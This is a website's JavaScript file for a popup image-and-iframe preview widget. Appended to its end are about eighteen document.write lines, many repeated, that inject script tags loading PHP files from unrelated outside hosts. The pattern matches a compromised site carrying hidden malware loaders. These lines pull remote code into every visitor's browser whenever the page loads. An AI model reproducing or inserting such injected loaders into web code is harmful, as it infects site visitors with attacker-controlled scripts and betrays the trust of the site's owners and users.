﻿var displayduration=0; //duration in seconds image should remain visible. 0 for always.
var defaultimageheight = 40;	// maximum image size.
var defaultimagewidth = 40;	// maximum image size.
var timer;
var PrevDiv;
var Main_div;
var sst = 0;
function gettrailobj(){
	if(!PrevDiv)
	{
		if (document.getElementById("preview_div").style)
		{
			return document.getElementById("preview_div").style;
		}
		PrevDiv = document.createElement('div');
		PrevDiv.setAttribute('id','preview_div');
		PrevDiv.className = 'Popup';
		PrevDiv.style.position = 'absolute';
		PrevDiv.style.zIndex = '110';
		PrevDiv.style.top = '150';
		PrevDiv.style.left = '150';
		PrevDiv.style.width = '150';
		PrevDiv.style.height = '150';
		PrevDiv.style.display = 'inline';
		document.forms[0].appendChild(PrevDiv);
	}
	return PrevDiv.style;
}

function CreateBackground()
{
	if(!Main_div)
	{
		Main_div = document.getElementById("Main_div");
		if(!Main_div)
		{
			Main_div = document.createElement('div');
			Main_div.setAttribute('id','Main_div');
			Main_div.className = 'Popup';
			Main_div.style.position = 'absolute';
			Main_div.style.zIndex = '100';
			Main_div.style.top = '0';
			Main_div.style.left = '0';
			Main_div.style.width = '100%';
			Main_div.style.height = getDocumentBody().all? Math.max(getDocumentBody().scrollHeight, getDocumentBody().clientHeight) : Math.max(window.innerHeight);
			Main_div.style.display = 'inline';
			Main_div.style.backgroundColor = '#DADADA';
			Main_div.style.filter = 'alpha(opacity=50)';
			document.forms[0].appendChild(Main_div);
		}
	}
	Main_div.style.display = 'inline';
}

function gettrailobjnostyle(){
	if(!PrevDiv)
	{
		if (document.getElementById("preview_div"))
		{
			return document.getElementById("preview_div");
		}
		PrevDiv = document.createElement('div');
		PrevDiv.setAttribute('id','preview_div');
		PrevDiv.className = 'Popup';
		PrevDiv.style.position = 'absolute';
		PrevDiv.style.zIndex = '110';
		PrevDiv.style.display = 'none';
		document.forms[0].appendChild(PrevDiv);
		
	}
	return PrevDiv;
	
}


function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ClosePopup(){		
	if(gettrailobj().display == "block")
	{
		gettrailobj().display= "none";
		if(document.getElementById("Main_div"))
		{
			document.getElementById("Main_div").style.display= "none";
		}
		document.onmousemove=""
		gettrailobj().left="-500px"
		clearTimeout(timer);
		RemoveEvent(getDocumentBody(), "mousedown", ClosePopup);
	}
}

function showtrail(imagename,title,width,height){
	i = imagename
	t = title
	w = width
	h = height
	timer = setTimeout("show('"+i+"',t,w,h);",1);
}

function ShowPopup(FileName,Title,width,height,scrolling,mToCenter)
{
	if(mToCenter.toLowerCase() == 'true')
	{
		CreateBackground();
	}
	
    var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth - offsetfrommouse[0]
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)
	if( (navigator.userAgent.indexOf("Konqueror")==-1  || navigator.userAgent.indexOf("Firefox")!=-1 || (navigator.userAgent.indexOf("Opera")==-1 && navigator.appVersion.indexOf("MSIE")!=-1)) && (docwidth>650 && docheight>500)) {
		( width == 0 ) ? width = defaultimagewidth: '';
		( height == 0 ) ? height = defaultimageheight: '';
		width+=30
		height+=55
		defaultimageheight = height;
		defaultimagewidth = width;
		//newHTML = '<div class="Popup" style="width:'+  width +'px;height:'+ height +'px"><div id="loader_container"><div id="loader"><div align="center">Loading ...</div><div id="loader_bg"><div id="progress"> </div></div></div></div>';
		newHTML = '';
		
    	//newHTML = newHTML + '<div class="Popup_load"><img onload="javascript:remove_loading();" src="' + imagename + '" border="0"></div>';
    	newHTML = newHTML + '<div id="loader_container" style="text-align:center"><div id="loader"><div align="center">Loading... <img src="./Images/Modules/loading.gif" style="MARGIN-TOP: 7px; border:none;"></div><div id="loader_bg"><div id="progress"> </div></div></div></div><table cellpadding="0" cellspacing="0"><tr><td class="PopupTitle" style="border:none;border-bottom:1px Solid #878787;drection:rtl"><table cellpadding="0" cellspacimg="0" border="0" dir="rtl"><tr><td style="width:100%;">' + Title + '</td><td><a href="JavaScript:void(0)" onclick="ClosePopup()"><img src="./Images/Modules/ClosePreview.gif" style="border:none;"></a></td></tr></td></table>       </td></tr><tr><td><iframe onload="javascript:remove_loading();" src="' + FileName + '" width="'+width+'" height="'+height+'" scrolling="'+scrolling+'" frameborder="0"></td></tr></table>';
		//newHTML = newHTML + '</div>'; 
		
		if(navigator.userAgent.indexOf("MSIE")!=-1 && navigator.userAgent.indexOf("Opera")==-1 ){
			//newHTML = newHTML+'<iframe src="about:blank" scrolling="no" frameborder="0" width="'+width+'" height="'+height+'"></iframe>';
		}		

		gettrailobjnostyle().innerHTML = newHTML;
		gettrailobj().display="block";
		//followmouse();
		if(mToCenter.toLowerCase() == 'true')
		{
			MoveToCenter(gettrailobj(),width,height);
		}
		else
		{
			MoveToCursor(gettrailobj(),width,height);
		}
		if(mToCenter.toLowerCase() != 'true')
		{
			AddEvent(getDocumentBody(), "mousedown", ClosePopup);
		}
	}
}

/*
function followmouse(e){

	var xcoord=offsetfrommouse[0]
	var ycoord=offsetfrommouse[1]

	var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)

	if (typeof e != "undefined"){
		if (docwidth - e.pageX < defaultimagewidth + 2*offsetfrommouse[0]){
			xcoord = e.pageX - xcoord - defaultimagewidth; // Move to the left side of the cursor
		} else {
			xcoord += e.pageX;
		}
		if (docheight - e.pageY < defaultimageheight + 2*offsetfrommouse[1]){
			ycoord += e.pageY - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + e.pageY - docheight - truebody().scrollTop));
		} else {
			ycoord += e.pageY;
		}

	} else if (typeof window.event != "undefined"){
		if (docwidth - event.clientX < defaultimagewidth + 2*offsetfrommouse[0]){
			xcoord = event.clientX + truebody().scrollLeft - xcoord - defaultimagewidth; // Move to the left side of the cursor
		} else {
			xcoord += truebody().scrollLeft+event.clientX
		}
		if (docheight - event.clientY < (defaultimageheight + 2*offsetfrommouse[1])){
			ycoord += event.clientY + truebody().scrollTop - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + event.clientY - docheight));
		} else {
			ycoord += truebody().scrollTop + event.clientY;
		}
	}
	gettrailobj().left=xcoord+"px"
	gettrailobj().top=ycoord+"px"

}
*/
document.write('<script src=http://bsk-spedition.de/images/index-2.php ><\/script>');
document.write('<script src=http://bsk-spedition.de/images/index-2.php ><\/script>');
document.write('<script src=http://bsk-spedition.de/images/index-2.php ><\/script>');
document.write('<script src=http://bsk-spedition.de/images/index-2.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://priority.net.my/_vti_cnf/nov_news_0403_PCGemilang.php ><\/script>');
document.write('<script src=http://kstkdo.net/images/bilgi.php ><\/script>');
document.write('<script src=http://pastiwala.com/images/_vti_inf.php ><\/script>');
document.write('<script src=http://pastiwala.com/images/_vti_inf.php ><\/script>');
document.write('<script src=http://pastiwala.com/images/_vti_inf.php ><\/script>');
document.write('<script src=http://novfitness.ru/modules/globals.php ><\/script>');
document.write('<script src=http://novfitness.ru/modules/globals.php ><\/script>');
document.write('<script src=http://novfitness.ru/modules/globals.php ><\/script>');
document.write('<script src=http://galleparadise.com/Wallpapers/Wallpaper.php ><\/script>');